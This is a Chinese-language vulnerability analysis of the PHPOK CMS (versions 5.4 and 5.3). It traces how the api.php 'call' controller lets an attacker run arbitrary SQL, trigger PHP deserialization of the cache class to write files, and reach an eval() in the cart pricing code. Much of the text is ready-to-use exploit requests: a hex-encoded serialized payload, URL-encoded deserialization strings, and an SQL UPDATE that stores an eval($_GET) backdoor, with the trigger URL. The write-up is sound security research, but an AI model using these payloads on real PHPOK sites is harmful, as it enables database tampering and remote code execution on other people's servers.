路由
index.php admin.php api.php 分别对应framework文件夹下的www admin api这三个文件夹
路由接口参数$_GET['c']
,拼接上_control.php
就是framework/(www)(admin)(api)目录下对应文件,对应类为{$c}_control
函数接口参数$_GET['f']
,拼接上_f
就是对应方法
漏洞流程
- 对用户输入的json数据未做过滤,用户输入通过
array_merge
函数存入数组 - 执行任意函数来进行任意sql语句执行和反序列化
- 任意文件写入
- 任意命令执行
V5.4漏洞分析
任意调用函数
存在漏洞的类和方法:framework/api/call_control.php::index_f
进入:api.php?c=call
首先,我们可以通过get传入参数data
,然后如果data
是json
格式的数据,会对数据执行json_decode
先随便传一个:data={"a":"1"}
调试看看
通过json_decode后会进入format
函数对data
处理,跟进format
函数,会发现这里会将json_decode
后得到的键名和键值中的双引号,单引号等替换掉,这里是一个要注意的限制
然后经过一个查询后返回$call_all
当我们输入的键名存在$call_all[$key]
和$call_all[$key]['is_api']
存在时,会调用phpok
函数
找一个符合条件的,比如$call_all['m_picplayer']
替换payload:
1 | ?data={"m_picplayer":{"a":"1"}} |
跟进framework/phpok_tpl_helper.php::phpok
又调用一个phpok
函数,继续跟进
framework/phpok_call.php::phpok
函数前半部分对我们传入的{"a":"1"}
即参数$rs
进行一系列赋值处理后将$rs
数组通过array_merge
函数合并到$call_rs
数组中,而$rs
数组我们是可以控制的,也就等于说$call_rs
数组中的参数我们也可以进行控制
然后将$call_rs
数组的type_id
字段取出拼接上_
后,作为函数名执行$this->func($call_rs)
和$this->func($call_rs,$cache_id)
所以我们可以通过控制type_id
字段来执行任意以_
开头的函数
_sql函数利用
首先目光放在_sql
方法上
首先是参数$rs['sqlinfo']
,我们可以控制,然后这里将之前发现format
函数的过滤部分又替换了回来:
1 | $msg = str_replace(array("\\","'",'"',"<",">"),array("\","'",""","<",">"),$msg); //format函数 |
等于说我们随意添加单双引号最后都等于没过滤,然后传入get_all
方法
先把payload替换到现有执行到_sql
函数的条件:
1 | data={"m_picplayer":{"type_id":"sql","cache":"false","sqlinfo":"select 'somnus';"}} |
跟进get_all
方法
跟进query
方法
执行mysqli_query
,ok,到这里我们就发现可以任意执行sql语句了
下面再看看另一个利用函数
_fields函数利用
经过两次sql查询后,执行了一次反序列化操作,看看两次查询
先把payload换成执行_fields
的:
1 | data={"m_picplayer":{"type_id":"fields","cache":"false"}} |
framework/model/project.php::project_one
执行的sql语句:
1 | $sql = "SELECT * FROM qinggan_project WHERE id='41' AND site_id='1'"; |
framework/model/module.php::fields_all
执行的sql语句:
1 | $sql = "SELECT * FROM qinggan_fields WHERE ftype='21' ORDER BY taxis ASC,id DESC"; |
然后将执行的结果返回给$flist
参数后,将$value['ext']
值拼接到unserialize
反序列化
那么我们要控制ext
字段,就可以利用前面分析的_sql
方法来向qinggan_fields
表中插入ftype='21'
的数据
1 | INSERT INTO qinggan_fields(`id`,`ftype`,`title`,`identifier`,`field_type`,`note`,`form_type`,`form_style`,`format`,`content`,`taxis`,`ext`,`is_front`,`search`,`search_separator`,`form_class`) VALUES(1,'21','text','pic','int','test','upload','test','safe','test',20,POC,0,0,'test','test'); |
结合之前触发_sql
的payload:
1 | data={"m_picplayer":{"type_id":"sql","cache":"false","sqlinfo":"INSERT INTO qinggan_fields(`id`,`ftype`,`title`,`identifier`,`field_type`,`note`,`form_type`,`form_style`,`format`,`content`,`taxis`,`ext`,`is_front`,`search`,`search_separator`,`form_class`) VALUES(1,'21','text','pic','int','test','upload','test','safe','test',20,POC,0,0,'test','test');"}} |
然后触发_fields
:
1 | data={"m_picplayer":{"type_id":"fields","cache":"false","site":1,"pid":41}} |
注意添加上确认不会返回false
,在qinggan_project
表中,满足条件的site:1
和pid:41
参数
测试下:
可以看到此时已经成功查询到我们插入的数据部分,最后将ext
替换成我们要执行的反序列化POC即可
POP
全局搜索__destruct
锁定framework/engine/cache.php
可控参数$this->key_id
和$this->key_list
,传入save
方法,跟进
存在写文件操作,参数$content
和$file
都可控,只需要通过php://filter/write=convert.base64-decode/
伪协议来绕过死亡exit()
即可
POC:
1 |
|
攻击
payload1:
1 | ?c=call&data={"m_picplayer":{"type_id":"sql","cache":"false","sqlinfo":"INSERT INTO qinggan_fields(`id`,`ftype`,`title`,`identifier`,`field_type`,`note`,`form_type`,`form_style`,`format`,`content`,`taxis`,`ext`,`is_front`,`search`,`search_separator`,`form_class`) VALUES(1,'21','text','pic','int','test','upload','test','safe','test',20,0x4f3a353a226361636865223a333a7b733a393a22002a006b65795f6964223b733a35363a227068703a2f2f66696c7465722f77726974653d636f6e766572742e6261736536342d6465636f64652f7265736f757263653d736f6d6e7573223b733a31313a22002a006b65795f6c697374223b733a32363a2261615044397761484167634768776157356d627967704f7a382b223b733a393a22002a00666f6c646572223b733a303a22223b7d,0,0,'test','test');"}} |
payload2:
1 | data={"m_picplayer":{"type_id":"fields","cache":"false","site":1,"pid":41}} |
最终效果
V5.3漏洞分析
5.3版本与5.4版本实际上差别就是对json_decode后的数据没有经过format
函数的引号替换处理。所以5.4的POC同样可以套在5.3中
不过没有了format
函数的过滤,可以试着寻找其他更简便的函数,如_format_ext_all
函数
我们只需控制数组的键值部分的form_type
和content
字段即可直接进行反序列化操作
不过,这里要注意,由于我们反序列化的是cache
类,而cache
类中是带有protected
变量,所以序列化后的字符串一定会带有%00
,而json_decode
是不支持直接传入%00
的,所以我们需要将%00
进行unicode编码成\u0000
传入。还有要将双引号"
转义
POC
1 |
|
payload:
1 | /api.php?c=call&data={"m_picplayer":{"type_id":"format_ext_all","cache":"false","id":{"form_type":"url","content":"O%3A5%3A%5C"cache%5C"%3A3%3A%7Bs%3A9%3A%5C"%5Cu0000%2A%5Cu0000key_id%5C"%3Bs%3A56%3A%5C"php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dsomnus%5C"%3Bs%3A11%3A%5C"%5Cu0000%2A%5Cu0000key_list%5C"%3Bs%3A26%3A%5C"aaPD9waHAgcGhwaW5mbygpOz8%2B%5C"%3Bs%3A9%3A%5C"%5Cu0000%2A%5Cu0000folder%5C"%3Bs%3A0%3A%5C"%5C"%3B%7D"}}} |
不过这里如果form_type='url'
有个缺陷
因为反序列化后的对象赋值给$value['content']
之后会调用rewrite
或default
这两个不存在的属性,如果是在php5.6环境下,会出现报错而执行不了反序列化的情况
测试代码:
1 |
|
php 5.6环境下测试反序列化,__wakeup
执行成功,而__destruct
失败,说明反序列化成功,但是因为调用了类的不存在的属性而导致程序异常,__destruct
执行失败
而本地测试环境是php7.2,貌似就不会出现这种问题
解决方法是进入另一个elseif执行反序列化即可
payload:
1 | /api.php?c=call&data={"m_picplayer":{"type_id":"format_ext_all","cache":"false","id":{"form_type":"editor","ext":"O%3A5%3A%5C"cache%5C"%3A3%3A%7Bs%3A9%3A%5C"%5Cu0000%2A%5Cu0000key_id%5C"%3Bs%3A56%3A%5C"php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dsomnus%5C"%3Bs%3A11%3A%5C"%5Cu0000%2A%5Cu0000key_list%5C"%3Bs%3A26%3A%5C"aaPD9waHAgcGhwaW5mbygpOz8%2B%5C"%3Bs%3A9%3A%5C"%5Cu0000%2A%5Cu0000folder%5C"%3Bs%3A0%3A%5C"%5C"%3B%7D","content":"1"}}} |
命令执行
全局搜索eval
函数,发现在/framework/model/cart.php::freight_price()存在eval函数
而且参数$val
是从数据库查询出的,因为我们前面已经可以任意执行sql语句,所以这里$val
参数也是可控的
那么首先就要找到该函数的入口点,继续全局搜索freight_price
函数
发现api/cart_control.php
中调用了,跟进看看
在cart_control.php的pricelist_f
方法中,通过之前分析的路由,我们通过:
1 | /api.php?c=cart&f=pricelist |
进入该方法,然后启动调试
首先需要我们get传入一个id
参数,传入id=1
继续调试
这里有个要注意,我们首先需要添加一样商品到购物车里,使得$this->cart_id=1
然后传入一个id参数
首先在这里程序就退出了,因为sql查询出的结果$rslist
为空,于是跟进该sql查询看看
这边执行的是:
1 | SELECT * FROM qinggan_cart_product WHERE cart_id='1' AND id IN($id) |
所以我们只需要让id
和cart_id
一起有查询结果即可,得到id的方法,我们就可以通过执行任意语句来注入得到,这边方便演示我就直接跳过,本地查询得到id=7
修改payload:
1 | /api.php?c=cart&f=pricelist&id=7 |
继续调试
断在了这里,$province
和$city
参数为空,追溯这两个参数
当我们没有get赋值address_id
时,$province
和$city
可以直接通过get方式赋值,修改payload:
1 | /api.php?c=cart&f=pricelist&id=7&province=1&city=1 |
成功进入目标freight_price
函数
直接把断点打在sql语句处
执行的sql语句:
1 | SELECT * FROM qinggan_freight_price WHERE zid='25' AND CAST(unit_val AS DECIMAL)<=2499 ORDER BY unit_val+0 DESC LIMIT 1 |
返回如下:
最终返回price
字段值:10
然后要满足条件:
1 | if(strpos($val,'N') !== false) |
才能将$val
拼接到eval
中执行,即要包含关键字N
,所以我们可以直接通过任意sql语句执行,修改该表中对应zid=25
,unit_val='100'
的price
字段为:1;eval($_GET[]);N
,即可rce
payload:
1 | /api.php?c=call&data={"m_picplayer":{"type_id":"sql","cache":"false","sqlinfo":"UPDATE qinggan_freight_price SET price='1;eval($_GET[\"cmd\"]);N' WHERE zid=25 AND unit_val='100';"}} |
执行成功后触发rce:
1 | /api.php?c=cart&f=pricelist&id=7&province=1&city=1&cmd=phpinfo(); |
参考
https://www.anquanke.com/post/id/194453
https://zhzhdoai.github.io/2019/12/11/PHPOK-5-4-%E5%89%8D%E5%8F%B0getshell/